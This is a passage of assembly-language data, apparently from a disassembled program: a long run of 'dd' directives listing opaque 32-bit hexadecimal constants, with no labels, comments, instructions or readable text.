		dd 2900B073h, 0F716CB65h, 7367F492h, 0A3615CF3h, 54B18F00h
		dd 6ECED22Ch, 0ACBBFB0Eh, 0D9FDA062h, 515BF5h, 0FF9D5CDCh
		dd 1F468420h, 0BA4E902Ch, 7DFC8614h, 0F4BA1C00h, 586B385Bh
		dd 0A5690C8Bh, 0DBA909ABh, 0E73C3000h, 262B4643h, 69F13D44h
		dd 27D01080h, 37A5BB25h, 0D61B100h, 12A052A9h, 90C350A2h
		dd 2164301Fh, 355E7B48h, 42D5B000h, 37B1C5D8h, 0A0CF07F4h
		dd 3E200EE2h, 1470CAECh, 560E69E2h, 20EB9660h, 0B9D5627Dh
		dd 736EFC8Fh, 31443C40h, 6163AB00h, 74508301h, 9C11A807h
		dd 82B0AA87h, 0C3DBD37Fh, 0B57D4398h, 30E738A1h, 0AA00DD87h
		dd 9E2D851Fh, 6E49B01h
		dd 4B590221h, 0C00F12Ah, 3A960E50h, 74AA14EEh, 6BF91954h
		dd 0FD8A50D5h, 0AC0DD01Fh, 0CF51FA16h, 854C100h, 63F2C979h
		dd 4E59F8E3h, 34204F9Fh, 3340D0F6h, 43EC88ABh, 0E02DE522h
		dd 248D0763h, 338CDDBh,	128736D4h, 1DC708D8h, 2C615900h
		dd 8A0B71F6h, 0A911CAB0h, 2E19DC04h, 0D9102340h, 0F2E44B30h
		dd 0BEF500C7h, 0FCEDA12Ah, 0AB7BB8ADh, 68AA3C0Ch, 893D28B0h
		dd 0C02813F1h, 719CEEh,	4E83D1DFh, 92560C81h, 4558FE1Dh
		dd 0DA081640h, 7113E2h,	81E56870h, 77D6925Dh, 197CDC00h
		dd 0F6B242EDh, 38020025h, 964BE4D0h, 3976D4C3h,	99C51202h
		dd 0E0F3FA45h, 1486D6h,	2EE20ED9h, 3FE8F859h, 93605000h
		dd 13AD7245h, 0EA3507BFh, 9E672C0Fh, 715A3A47h,	6B56F677h
		dd 1389480h, 14DC09AFh,	2680A58Ah, 3649C1A0h, 90648F00h
		dd 7ED67103h, 295B0A14h, 941D5Ah, 997F27BBh, 7C00AAAEh
		dd 23D0A8C2h, 0E730521h, 55D68190h, 0B51E5AE0h,	0B40046A3h
		dd 0DA1D069Ch, 858434h,	0B879D3F8h, 0F4D4C283h,	7C038090h
		dd 2446FC68h, 0AA0DE8A7h, 0FEEDF0BDh, 0F1DC000Ah, 0E8779031h
		dd 0B600A5AEh, 16718AD5h, 7F736928h, 12C101EAh,	1DDFFD1h
		dd 0EBB0D34Ch, 0A4E230F9h, 34706101h, 7A935B75h, 0F68601D0h
		dd 40AA0023h, 94432458h, 0DB76F614h, 9A7CE0C0h,	5A3CA06h
		dd 0B41C7BE8h, 0C6E5C031h, 9C002041h, 8DD0494Ah, 0EEA2B3FEh
		dd 0F231006Ch, 0B5B43750h, 7900E8C9h, 94BD7376h, 4B0D84h
		dd 0DC39D39Fh, 0B325149Bh, 22A5A816h, 7DCE5400h, 503FD93Ch
		dd 35A030h, 3754522Dh, 0AF9EAD48h, 8F861800h, 0B42A7419h
		dd 10EF00A3h, 12BBB836h, 880081C0h, 432D3401h, 22F2F0h
		dd 50AD5154h, 47B337F7h, 5CE158h, 1F1ECDB2h, 9062734Dh
		dd 0C8391C7Ch, 126DCFBBh, 821878C0h, 0D6001C27h, 7BD0683Bh
		dd 0FFFFB73h, 0DD9FDCCEh, 0B45387FFh, 0D519103Fh, 3C002FEFh
		dd 0C2851187h, 0BCC98Fh, 0EEF748FBh, 82544081h,	84C45100h
		dd 97AD9B5Ah, 0F700024h, 0C9093723h, 190015AFh,	0AAEF516Dh
		dd 0E369395Bh, 7BC4FF0h, 19CBA3Ch, 9219F035h, 0FD006CEFh
		dd 4053A90h, 12C132B7h,	1613EE4h, 5675F2C4h, 0D2D997DFh
		dd 0CB075B00h, 14C2813Bh, 888E7DF5h, 948C9300h,	2A524BF3h
		dd 752CA500h, 0CD432E22h, 6195009Ah, 20B3ED6Dh,	0F400DD8Fh
		dd 5FCE6526h, 0F4AD989Eh, 0D1E60BCDh, 9C009243h, 5C3C5736h
		dd 2CBB8500h, 0EA21E316h, 40CD0064h, 956EA3FDh,	79003FDCh
		dd 6A652E61h, 178BE817h, 73B092h, 0F978816Fh, 0A3E2F152h
		dd 0BC691917h, 0ED8FF107h, 0F0507623h, 24AB33DFh, 533ECDh
		dd 694995FAh, 5724F315h, 9704CC53h, 71002BF5h, 0CBF9CF8Bh
		dd 7EC3DF00h, 0D3FFEA18h, 0FD9B0024h, 94353F88h, 6C0029C7h
		dd 80AFF21Ch, 991BA3h, 57F4DFBEh, 5EA55885h, 0CB9EC404h
		dd 94D0BF1Dh, 1F2669F8h, 945D4E60h, 0F3009303h,	80A61FB6h
		dd 0A70079D4h, 2C7D4862h, 0E2C4075Ah, 74CD096Fh, 11F83097h
		dd 0DD25C009h, 3114A14Bh, 5BC867D6h, 0A3AA0FF9h, 0DB23C818h
		dd 876E4Ah, 24DD0553h, 7C3F563Ah, 0C99D3D0Fh, 20C03E5Ah
		dd 0C72931B2h, 0E6D53013h, 699C0450h, 5F729A00h, 3AE04707h
		dd 0B2FC1654h, 0BE01EBCFh, 43905C77h, 0C64ED0h,	35B524ADh
		dd 47ED497h, 0DB878409h, 44009F2Eh, 0B7D430D1h,	0F35B0D2h
		dd 3758BC08h, 0F5480672h, 7F00FCDEh, 1F60DDCFh,	0F0B47Bh
		dd 6A8695Bh, 884D3767h,	45AF1A05h, 45C0E37Ah, 1550D5h
		dd 0DFDCAE8Bh, 8FE837D3h, 207B7D30h, 76BD225Ch,	0B3BE004h
		dd 0A2271499h, 73CB5681h, 0A3F08A2Fh, 0F3039388h, 0FFAC5FDEh
		dd 0E456B110h, 25AA247Fh, 53590EB0h, 91AD3800h,	0DE0029D2h
		dd 98D74ED3h, 133CFEh, 9D6D9F7h, 86F4EB3Ah, 0F07FCE70h
		dd 0B8927400h, 0DF3B7569h, 52D500AFh, 0EA8BB2D1h, 3800C8B3h
		dd 8EA8AA1Ch, 8F40Bh, 952E603Ah, 9F308014h, 0F3054F18h
		dd 281718h, 880DE85Dh, 2E760C35h, 48AE7B00h, 6CAA7518h
		dd 5BAC009Bh, 59FFB082h, 0BF1D6450h, 67809710h,	6AF711B3h
		dd 75FC00B1h, 4C4214E1h, 58002EF0h, 68DB39CCh, 0E98A1Eh
		dd 142F63B1h, 0E44F49CEh, 5D80E000h, 0C5C6F5AEh, 39A705EAh
		dd 0D75CE1ADh, 0E8A1E920h, 0D049EF3Bh, 4810ED7Bh, 250060CFh
		dd 1D560F4Ah, 3A09309Fh, 80B23F38h, 3ED9C72Ah, 8E0400C3h
		dd 1C5DF0F9h, 3E8BE1Dh,	0A917D571h, 3B009987h, 7CDD3DBBh
		dd 0F4F5001Ah, 38E0CE43h, 11007895h, 993A8A9Dh,	0BA2C7A29h
		dd 0B0E22E6Ch, 6C2A4070h, 0B83A488Dh, 61F3AF4h,	0AA6DE2B9h
		dd 21260021h, 5C31792Dh, 4174A7D5h, 0D0A6F203h,	920A2C6h
		dd 0BD58AF49h, 0C5D8B0A0h, 0CE0E7C80h, 53E67FDDh, 0A8BB7F00h
		dd 74C364E2h, 0FF8E1E8Ch, 0E6C4002Eh, 7A21E96Bh, 67EA7000h
		dd 0AF203926h, 0D009005Ah, 0A0C6757Ch, 3A3EADE4h, 0B52009Bh
		dd 59424B13h, 30410F33h, 73602B2Eh, 727CE246h, 1B68D500h
		dd 50D317B8h, 0AFE0C5CEh, 94500169h, 0DC1D22E2h, 0A2001C12h
		dd 7424C7C0h, 902172h, 79E2933Dh, 0FEC1ACD9h, 0E112591Eh
		dd 7EFBAF00h, 30A391D1h, 52594BB9h, 0D8D026B8h,	6406CE98h
		dd 0A1003979h, 0A5D45D99h, 0C06380CEh, 0DE50BE6Dh, 0A64A3964h
		dd 0A3811A80h, 2F71DCCCh, 0BA117907h, 0B910632Dh, 3DA58E06h
		dd 48060A7h, 1992FCFFh,	8F005BA6h, 5F2F4D6Dh, 426AB9h
		dd 159F10B2h, 0FF9ED2CCh, 0F74E4407h, 4FF059CDh, 2493D1h
		dd 9509FC6Bh, 3611169Ch, 4E3FF503h, 880CF9C8h, 74F2B4h
		dd 0F8ACC576h, 19D28EAh, 0F3A38E00h, 0AED571B7h, 692E000Eh
		dd 83FCA985h, 6E03B065h, 9701BC32h, 5410A047h, 0C869034Ah
		dd 0A8679430h, 463FD097h, 0C10162DAh, 59DF26A5h, 0A0F2C3D7h
		dd 6C930998h, 0ACB80349h, 0FC30208Dh, 58350818h, 0ABEB20h
		dd 777F9C6Ch, 0DBFB674Bh, 32293000h, 2CA6518Bh,	62E00E5h
		dd 0EF7ECCABh, 7067A3Bh, 2D453D39h, 0A0897018h,	448B1FCh
		dd 674C58A3h, 88808921h, 60C4BC90h, 0B84C6C9Ch,	3C229446h
		dd 6C09E67Ch, 81AAA615h, 932A8782h, 304319D8h, 465923ABh
		dd 0D790C830h, 21EA6201h, 45BA8A8Eh, 0DF5B18D8h, 0AACA0F80h
		dd 41BD1878h, 0C21E9878h, 0E40D8B38h, 87E5202Bh, 5F6F3983h
		dd 3BA8802Dh, 0E000FF3h, 0A2622E4h, 8EBE25h, 276C8206h
		dd 1DC64B5h, 70FF7901h,	46C20DB3h, 34999D4h, 2B982A2Eh
		dd 2D91FA1Dh, 3999E3DDh, 0FC80F432h, 0FB614B00h, 0C36F68DAh
		dd 0EAE000B2h, 0C7C23D91h, 400724Ch, 7D66098Dh,	0FE33DAh
		dd 0B8E2F5E7h, 3BF18408h, 0FC2D0B28h, 0ABA87512h, 84320A0Eh
		dd 8A837EB8h, 0F9898E5h, 0DF72198Ch, 801A08B5h,	0E5BDF121h
		dd 88CC32h, 0C05B1E43h,	48E0D639h, 0E21C3700h, 7408A703h
		dd 619264ACh, 0E50260C5h, 8CAFF21Ah, 0BD1844h, 0C067E5BAh
		dd 47E3BCCBh, 70DCCF0Dh, 74C820C6h, 7177003Ah, 0C163E40Fh
		dd 751EAC5Dh, 70F114F0h, 4881033Eh, 73BBE497h, 3821885Ch
		dd 7E493089h, 25740915h, 0F65210C0h, 90A322A0h,	0B24D0722h
		dd 401004E9h, 4321FD54h, 18180730h, 0F022BF28h,	4CF83C27h
		dd 569F0900h, 0C248D5DCh, 0ED948300h, 0A854A0B7h, 17F90077h
		dd 8CD2B357h, 0DE00BFDAh, 909255EFh, 1CC52A6h, 0C76A7216h
		dd 20A824ECh, 0CA05E34Fh, 0D339F5D7h, 5F801A80h, 0F38F3E61h
		dd 10719Eh, 78176B76h
		dd 2600E16Dh, 0E77BC5CBh, 3FAE62Bh, 0AA39F074h,	0E0007545h
		dd 50B56213h, 2529BFh, 86FDD097h, 3C5DCC3Fh, 0A8EA3100h
		dd 330C64FFh, 65570004h, 23BA24A3h, 4000D790h, 0CA1F63E9h
		dd 5F4807h, 64EC6AE4h, 512A7DEAh, 0DB583Dh, 0D440F67Ch
		dd 0A6495Ah, 9AA5C4A2h,	601B590h, 0AE7CBB00h, 9FD522C6h
		dd 644B0095h, 0B9F12E94h, 0F50C34F0h, 4138CACBh, 881ED6Eh
		dd 3763C636h, 0D877C4A0h, 0DF47F500h, 718AB975h, 0D5A6007Ch
		dd 78FC9704h, 0F60E3CDAh, 0A0704D4Fh, 0EA40644Ah, 0D3010025h
		dd 5344E80Ah, 0D903F588h, 0FE83A9A6h, 5941F856h, 0CA140E16h
		dd 0CB4096F9h, 0C0EAB752h, 9080E36Ch, 112318B3h, 416B206Eh
		dd 4A091703h, 7C05639Dh, 205100C8h, 0BDF9499h, 6500F4D9h
		dd 341A01A7h, 67AAE54Dh, 17B39032h, 0A6F6D3DCh,	99974010h
		dd 9ED69103h, 881218B9h, 0C5A845D9h, 69334006h,	0FCF88957h
		dd 0A77CF307h, 907A51A8h, 0E345881h, 20C42F23h,	8B4F06BAh
		dd 40D0E2FFh, 3CA48D00h, 2E6FA2FEh, 520B0738h, 409BB00Ch
		dd 0CAA12B1Bh, 428A418h, 8B0FA818h, 147C1128h, 194D6330h
		dd 812821h, 9CF0909Fh, 0A844752Fh, 0AC8C5803h, 0D55DDFBh
		dd 47617729h, 0BD6DE048h, 8819D602h, 8124E45Ah,	0C9A1F7E6h
		dd 3C1763C4h, 52B1D262h, 1799D690h, 1872088Ch, 48FEB640h
		dd 91C09A10h, 9F73D2B2h, 314100EBh, 0E9050118h,	80C728AAh
		dd 19204C8Bh, 0CA8B80Bh, 6B83FBBCh, 23224599h, 0A883A28h
		dd 0F207F1Fh, 338C9A5Ah, 8A31FA40h, 0B6F3159h, 68232610h
		dd 0C8A15Ch, 0C9ABD27Dh, 30918A97h, 8B506BE4h, 0A8A6EB93h
		dd 2D38AA42h, 20403828h, 0FA2A03FCh, 9B424C2Ch,	430E7964h
		dd 88756D46h, 67B81C2h,	6A5BDB82h, 0A118B0C4h, 0BB29B1C1h
		dd 41946010h, 0C65D48B3h, 0B5804F00h, 0C96B7892h, 5517B7Ah
		dd 7CE08B03h, 0BB703039h, 5B00AB37h, 0E6689971h, 88F506Ah
		dd 10E30D15h, 74B92A81h, 0C188FD80h, 42424C20h,	0F8A02621h
		dd 11BD34A1h, 29804F63h, 21D949C5h, 4C19F530h, 432185B9h
		dd 0C0F98610h, 0C915A00h, 0DAA319D1h, 80A871E0h, 58A06E24h
		dd 0A70053FFh, 0E2346BD9h, 12367376h, 197E8B6h,	241188A2h
		dd 0D42C2554h, 9D09B9D5h, 2068EB94h, 0FD874B70h, 51C1606Fh
		dd 4A0A2C92h, 0CC4E1106h, 16285C29h, 0B8EB2A72h, 445724AEh
		dd 62E0A498h, 88F1C031h, 183BCF82h, 34146600h, 0CEF2238Dh
		dd 0CA171B3h, 4019FB4Fh, 440972E1h, 72D936Eh, 6BA25F9Ch
		dd 33444089h, 10548421h, 89240C34h, 19B7AC4Eh, 48CC11F9h
		dd 6C78E8h, 9C740E89h, 445CEB70h, 0BBED0D09h, 75F8255Bh
		dd 18702015h, 9F418710h, 9586001Dh, 254635E3h, 1A31E7D2h
		dd 47B23971h, 48CEA111h, 8124BB9Ch, 0B60D00Ah, 2A45D063h
		dd 0A1882A2Fh, 2014556Ch, 933CC0C0h, 0B4D9C518h, 92F86241h
		dd 637184h, 3DC37DC4h, 0D4291C34h, 0C573FD05h, 0FC438792h
		dd 0AFB82F8Bh, 23461140h, 0DCA5546Eh, 3CC0481h,	888EBA0Ch
		dd 4D42C74Ch, 322E3011h, 80AF218Bh, 59A1BBACh, 0DFEB1819h
		dd 7D05585Eh, 4463B1C6h, 64880F41h, 76086E4h, 0BC3C496h
		dd 31C6B600h, 88E63BE0h, 4CE94CB0h, 0C2C60092h,	8A15920Bh
		dd 0BD01A802h, 843F6EC7h, 1C93A388h, 5CF900F6h,	0B11A0E33h
		dd 1E2ABF84h, 7653F8B3h, 49CF21BCh, 0AF6F5822h,	9E0580A0h
		dd 0B9018D98h, 0ED47D959h, 0F180E501h, 481D630h, 89676E38h
		dd 6BB0C431h, 3FA57Bh, 3740842Ah, 0C0D127DAh, 220BBE04h
		dd 0A4D03281h, 5461501Fh, 1A9A009h, 48CFE4F1h, 24819B25h
		dd 8A13BB5Ch, 2854FF1Fh, 48A81808h, 61C1E2C1h, 0AE0C2957h
		dd 24198243h, 2883975h,	88A0FE62h, 78CB2E3h, 7FB4AC00h
		dd 29D886DEh, 5147693h,	0AD385E55h, 551089E8h, 65E03098h
		dd 6D01B166h, 940D5734h, 0F20021A0h, 0E8A4A69Fh, 62AA9900h
		dd 3915B070h, 49E7076Ch, 0A05860BFh, 845EC846h,	457D7098h
		dd 0A4004CA2h, 0B4F854C0h, 0A19F6C93h, 36494828h, 0A7DB0088h
		dd 87E0321Dh, 2F0CA80Ah, 77C91CA6h, 76420FB2h, 26C20B2h
		dd 0DC1845D8h, 3319CD78h, 400498FAh, 0BB80A3ACh, 1596019Eh
		dd 95A26CA7h, 428323Ah,	0C3813360h, 3BA0A888h, 8D8064FBh
		dd 0E6229650h, 38046270h, 6165827Dh, 772D488h, 0AD06D76h
		dd 0C424583Dh, 0C5D15460h, 3B9F0310h, 710AFEDCh, 636607A9h
		dd 5207F94h, 9FBF0E52h,	73CC33Ch, 1F224C46h, 2F5BC05Fh
		dd 0AB8A7BDFh, 508428D5h, 8A4FD0h, 63CEAF8Ch, 257C189Bh
		dd 2645D9A2h, 98A94469h, 26CFEA6Ch, 0D0FD65h, 0A82C93A2h
		dd 7914A4D1h, 0AB43BB0h, 1C478E45h, 0A403A111h,	0DD082CF1h
		dd 230181A8h, 0B91AF91Fh, 40E07D54h, 733A10C4h,	98EA0ACAh
		dd 384AF064h, 173AFB50h, 300D1F8Dh, 2522E570h, 0E83BB500h
		dd 4CD46703h, 378F04ABh, 848274C7h, 648C033h, 0E0D5FD1Ch
		dd 0C0AE805Ch, 2C834122h, 3E2508F0h, 19FCC59h, 0FB40256Ah
		dd 0F52CD08Ch, 2E16FC1Dh, 26A3C6C8h, 184711C4h,	0CD390D6Fh
		dd 54320084h, 4968C282h, 0C012063Ch, 8C4EBA3Fh,	1565022Fh
		dd 738EE38h, 8A297CE1h,	0F0D2B05Dh, 0EC20CAEBh,	252400CEh
		dd 7907A147h, 784C6554h, 976D86F0h, 518D0041h, 0CC8BFFA0h
		dd 66739E2Dh, 2BB38603h, 0B0814B7Fh, 2A442F35h,	4CA027E7h
		dd 7E9DDC83h, 61227244h, 0FD3D0009h, 3381A260h,	20B19106h
		dd 0CA0E1020h, 82D607B0h, 0CCCDAD71h, 0A85F58A4h, 1C24A3C8h
		dd 0F9408A44h, 5A9F5161h, 0B0955F07h, 4E500343h, 4A550891h
		dd 190C3121h, 611656h, 0FF82D624h, 8AA24B81h, 0AB4DCF73h
		dd 8097C8D4h, 0A4AFCC02h, 3D006785h, 72CAD387h,	55A578Bh
		dd 78CF55EEh, 30D95Bh, 6F114870h, 0A7DE5D02h, 6088A16Ah
		dd 7CC354ECh, 0E898456Eh, 2100CC06h, 6DB9A989h,	176A23h
		dd 0AE153EC2h, 0FEF0C0B6h, 8CBA80B1h, 0D15820FBh, 0F51A2645h
		dd 20109320h, 3065D8D4h, 984A0E04h, 44D0A18Ah, 11D9388h
		dd 97C59263h, 2935818Fh, 0FF2C0004h, 791C95A8h,	0FA71C521h
		dd 6F80C888h, 12809094h, 67C701C8h, 0A64C96F1h,	0AAB96210h
		dd 0F1BBA4A6h, 28B03300h, 2B3227D5h, 0FD411744h, 97887003h
		dd 0E800E3B2h, 0F86987F6h, 0ED5B52Fh, 0DDFA477h, 0E8A2EE69h
		dd 0D1C0F68Ah, 0BC564FF2h, 17A848D8h, 422A97Eh,	8B4C2045h
		dd 0DD3DF07Dh, 0FE00F3A2h, 0AE967A2Fh, 0A00B397Fh, 5C33C054h
		dd 6080B0D6h, 0AEFABD62h, 50DE5800h, 63CA9B13h,	3F8801EFh
		dd 6177E331h, 64F45030h, 0DC09AE82h, 492D38D3h,	0E908B2F0h
		dd 0F89084h, 0DEA7084Bh, 90A3CD85h, 1D05A8EAh, 577FC988h
		dd 0C07364CAh, 0BE1F9042h, 32010A14h, 0CF6AC696h, 9ACD28D1h
		dd 0F254C8E6h, 2C009587h, 0B764A13h, 82E8AE58h,	516F15A1h
		dd 1D98A058h, 431857A8h, 507C39A9h, 8149FEF3h, 66EF0EACh
		dd 80018488h, 3098005Fh, 9FD6CD79h, 0B7D1890Fh,	160AEB6Eh
		dd 91CF00ECh, 5CB91E5Dh, 3E404DD8h, 0F8C0925Eh,	1043168Bh
		dd 0E81C2138h, 889F0818h, 31002FDAh, 53A3B24h, 17B233h
		dd 0AC835C9Dh, 8C253721h, 24411001h, 5890B5Dh, 9BF58B10h
		dd 0EC81D10Ah, 0FC123039h, 1D53C28h, 7ABD33FFh,	0C41E30B5h
		dd 970F0C20h, 6B6F0729h, 0EAF4002Fh, 9939652Dh,	44338320h
		dd 0B04D431Ah, 0A0EE80A8h, 7D667361h, 0FD420071h, 0AF51290Fh
		dd 316F45Ah, 4C131B85h
		dd 81A35008h, 887D7FBBh, 2498392Fh, 0E88CD48Bh,	4359A0h
		dd 4425BF8h, 5D6026F9h,	2E3D973Dh, 94B6CC7h, 0F524B8CCh
		dd 0D0E30043h, 688AD7AAh, 0E6086115h, 52ADF74h,	0D539EB0Bh
		dd 36589820h, 7996E930h, 0EB51D9Ch, 93F4582Ah, 14C4A1A9h
		dd 615EBCA8h, 2700ACA4h, 0AD41F0DCh, 17906433h,	62625873h
		dd 0A0209B3Ch, 7D5709C9h, 35490074h, 5F799AE8h,	0AF06FFBCh
		dd 0C2D794F0h, 0B30C19C9h, 0A724E941h, 136C18B0h, 97AA13C4h
		dd 10B509BAh, 1236C0B0h, 418F8100h, 0E994747Eh,	49D23Ch
		dd 99DBB97Bh, 40BAB5E2h, 2C338D22h, 4518B4FAh, 69448AFBh
		dd 0A4F4B0F8h, 94190076h, 0E53D2407h, 2A02EDC1h, 0F848D53Eh
		dd 12AC7155h, 0C310C8AAh, 0CF2A098Ch, 68B18EB9h, 7C3032BAh
		dd 32D65700h, 0AB266EE7h, 0BB509E74h, 444842CAh, 0DC64D7DCh
		dd 1E601F53h, 7E46D524h, 5194EA6h, 8146C6F3h, 98C20079h
		dd 9629E941h, 443C4099h, 0C7D03BB4h, 0E7053E00h, 93B9541Ch
		dd 770CA8C5h, 0B81A826h, 39632DE0h, 0AF000494h,	0ABD5E9DDh
		dd 602C86Dh, 0EAACC58Ah, 0B3724980h, 6FCF10E9h,	80009411h
		dd 78296534h, 0F603C383h, 919756ABh, 6444CAB7h,	30E7211Ch
		dd 0A9008711h, 0D03D3C8Ah, 0FE2EB998h, 3004BEDDh, 0FCA6CAA1h
		dd 911E5E13h, 9795B088h, 0CC206341h, 0B2C484h, 15ADFD82h
		dd 5496C83Eh, 32E4F01h,	1ED75C44h, 0FB0D7862h, 20396983h
		dd 0EF4ADEC4h, 0AFE94844h, 34106249h, 6C0B91E1h, 0A589B9F4h
		dd 0DC718354h, 118F4663h, 0C2E0DD93h, 0C80AC71Fh, 0EF9FCB0Eh
		dd 0AA003CD1h, 920F738Ch, 44750045h, 0DBC4260h,	68A197B2h
		dd 0A8911059h, 185500B5h, 0F51554AFh, 66009680h, 9D3049B6h
		dd 911C9427h, 4C150824h, 21414587h, 0F574B04Bh,	0AE1A8003h
		dd 92F1CB00h, 7FC63279h, 3BA8352Fh, 0D0508530h,	42BBFAB8h
		dd 106F51C9h, 37008F0h,	34917EE5h, 0B12237BCh, 0D653056Bh
		dd 48E35FA1h, 7358D7A4h, 6BF40916h, 4240298h, 0A4B540ADh
		dd 5DD77DEh, 226F0905h,	86D094B2h, 0C2D4972h, 2F781476h
		dd 0B9567923h, 0E82DBB01h, 0B073397Dh, 5D682F07h, 0F46EA0A6h
		dd 1F2429BEh, 8B47C0B6h, 0BF196770h, 0EED30246h, 2645FD86h
		dd 890CA0B8h, 0A028F099h, 94918D68h, 39F0F804h,	0B0808948h
		dd 0F3AE92E6h, 0EFA000C2h, 0FB676B18h, 461B4B36h, 0C0287CA6h
		dd 0A098AA0Bh, 88C26D2Ch, 0F9E47795h, 9BF6A800h, 50FAF1D3h
		dd 4569C255h, 9C72F419h, 49762A3Eh, 804E8844h, 0A0CDF6C1h
		dd 0D97BF58Ch, 5AB61A0Ah, 9691BCE1h, 0E7725601h, 30D5AA1Fh
		dd 59C974A6h, 0CB2C9035h, 0B5CD009Bh, 23B95112h, 0ED16FD19h
		dd 483077F0h, 0B44C88FAh, 97E40C0h, 1C99681Dh, 0E43C7C09h
		dd 289920B8h, 0B0BA091h, 2D1C1074h, 6563F067h, 0D03F6151h
		dd 7DD2A144h, 9891D4B9h, 0FC78E600h, 9AFA91C4h,	6C00CE7Dh
		dd 0BB7F97F9h, 2754DB3Bh, 0A09A12E1h, 31004C51h, 3D0EB4A8h
		dd 5D7F49h, 0C797A3FBh,	92BDC430h, 54C0CCA8h, 0C3D73FCh
		dd 31FD27B9h, 803B4F7Ch, 0B5811D2h, 0C7491D01h,	0A610AE3Ah
		dd 9CCEF197h, 0FD5461B8h, 0E0034E0h, 4A931477h,	23BD40h
		dd 35D5F4A5h, 1CB87528h, 0F0F8E732h, 2190A142h,	2DDE682h
		dd 7ECCA110h, 0AF808CA4h, 0D02C7685h, 0E607C84h, 9E0DA9h
		dd 5F0CC48Ah, 0D903CBACh, 5596D418h, 3D132449h,	0E7124A40h
		dd 8BD82061h, 0A901267Ah, 0F27642D9h, 0C2EC1F89h, 85E0B9B0h
		dd 848AEB7Dh, 0B98E44Eh, 24E87553h, 3E17085Fh, 4C996065h
		dd 6E335C50h, 47B1C00Ch, 400B9B57h, 9A14501h, 0B03EDDA7h
		dd 64294071h, 51C24E22h, 4641CEFAh, 5FA80040h, 0DD89DB51h
		dd 0A037E16Dh, 9C8929EEh, 9491D694h, 60A40000h,	0E366A322h
		dd 0E1931002h, 0EE3A9CC1h, 0C2ED00DCh, 0DA4A5EF6h, 760DF97Bh
		dd 0D05B1EEEh, 0CC00B073h, 3F98C733h, 56032A80h, 159388B1h
		dd 0CB589B27h, 74784C2Fh, 75044BD6h, 0D2CCFC80h, 0EF03C270h
		dd 5D98851Ah, 70895CD0h, 0D1686318h, 1404C257h,	294B7B08h
		dd 52B740F0h, 84008C36h, 0EA2DBFEBh, 0C904D5ECh, 9708378Ah
		dd 1CF3B484h, 0A1C0614Bh, 12B039EBh, 5C42FB62h,	0E0C8148Dh
		dd 2E2DDF7h, 77EB825h, 0E4721A9Fh, 9032C122h, 41C0B958h
		dd 2BA42F0Fh, 450ACBC0h, 368A00D7h, 1D48AAC0h, 861DBD92h
		dd 9066A80Ch, 0FB40AF64h, 0E530AE09h, 0EDC25C02h, 0C023E091h
		dd 0ACFEBB66h, 2C8870E8h, 406C607Dh, 0AE7BD11Ch, 0B30086FAh
		dd 38C5D84Eh, 499DB5Ch,	0D5C14284h, 60588377h, 0BC410A4h
		dd 11689822h, 0CCD8DC74h, 0BDDD0221h, 711D9381h, 794ED4DAh
		dd 0FB058044h, 0A25F38D2h, 0F28E44E8h, 72673194h, 28CDA161h
		dd 507F88A0h, 209BD4A1h, 2012A4ACh, 742604A6h, 20D764B0h
		dd 7C8AF833h, 8050B35Bh, 13FEA0A6h, 0FC0E33B9h,	404D020Ch
		dd 94D0D237h, 0E204FBE1h, 0F6CA2F7Ch, 236C00E6h, 0CB939476h
		dd 5A316D01h, 0C0DE955h, 7C1E9462h, 4499AD4Eh, 21B823C2h
		dd 31AF182Fh, 0F0A69FAEh, 2EAA444h, 0FB387A1Ch,	64F02389h
		dd 0EC20054Ah, 0D39EA10Ch, 0D1783039h, 27076B29h, 0FCC37468h
		dd 0B71AC580h, 0B8E0966Fh, 0BF0AEB01h, 699B233Ah, 0CC0DD258h
		dd 0FED8A132h, 0B453008Eh, 3009C896h, 0BC05DECAh, 501D94A1h
		dd 4C78D0F5h, 9F006494h, 0B91583F3h, 0FB0B021Eh, 0E6E35897h
		dd 0C38A0C88h, 0C414F15h, 8AAA4Bh, 96721376h, 0C9A8025Ch
		dd 8453C594h, 1B4C102Fh, 938E00F3h, 558492FBh, 0A35B47BFh
		dd 0DB7B3420h, 35E55C69h, 557CC901h, 21B80D33h,	8BD01048h
		dd 4A25FDCFh, 0EAE86011h, 9417584Dh, 0CAB0A588h, 0C8AB86E6h
		dd 9B800C81h, 0B98421B4h, 700F1CF1h, 0A38E0110h, 7C0B5551h
		dd 0DE09C03Ch, 38B25F7h, 1604C349h, 1C981753h, 0CB2AE076h
		dd 8093A891h, 72895A18h, 830B0419h, 0B24607FCh,	0B8F50178h
		dd 97AD20DFh, 12B022D0h, 0B2FE3CD5h, 448C889Ch,	0FF6206A3h
		dd 0A9900F99h, 682E3608h, 48ED83A2h, 1D81705Ch,	0E441538Fh
		dd 49F8DEA6h, 6C73C400h, 2A00BE75h, 0DBAD3932h,	4CAC7F03h
		dd 4B8334C3h, 0C0C4CE8Fh, 88A29BF8h, 0EF00D9E4h, 2D7EE6CFh
		dd 0B371CCEEh, 3FC1D38h, 77FDAD1Eh, 6CB3CCh, 0F67FD18Ah
		dd 0EEB53758h, 5A9800F2h, 2E472DCh, 9295863Ch, 41E0415Ch
		dd 2B264511h, 108A1822h, 7505D772h, 760B71ADh, 977CD48Ch
		dd 10F7A011h, 0B176318Bh, 3158BC10h, 2AE9190Fh,	0D14BC607h
		dd 51422F44h, 51CBD34h,	6900CCA2h, 111D3944h, 8B05CF47h
		dd 0BBCBBADCh, 0E76ACCD0h, 619CF39Ah, 5CAC2Ah, 63397345h
		dd 0BC174A79h, 54D8FEE2h, 4C0200EBh, 0FC3EBFD9h, 0B47D40E9h
		dd 0F1A05F08h, 484B3BCFh, 0B242B120h, 10401198h, 0FF6C7Eh
		dd 0BEDB4AB7h, 0FD7D931Fh, 0A64D6FECh, 0E42525B8h, 23DD4328h
		dd 9B263C42h, 0FB36E170h, 0CF6879C2h, 0F27BC213h, 228C72A6h
		dd 0A40A211Ah, 2C8C442Fh, 62DD8D0Fh, 5EF6C50h, 7C600710h
		dd 1D17317Eh, 0E90CF0EEh, 46CC7A07h, 0ADB08A62h, 8215499Eh
		dd 9851B0CAh, 0F9CB8800h, 0FA4738D5h, 90C5AD8h,	0CC4ECE74h
		dd 5D9D2A13h, 951A5CC8h, 0A4E4F49Ah, 5FC9700h, 16321438h
		dd 0A70200F0h, 0D4295E5Bh, 0E9DE9B0Ah, 8944F42Eh, 4AC0184Fh
		dd 6683F8B6h, 0B5E006FEh, 80893D02h, 0A2B490E3h, 22FA26C0h
		dd 80A0AE10h, 0ACF83B4Ah, 0A2C7C500h, 0FD331796h, 4D3F3EFEh
		dd 18D84214h, 0DB0892C0h
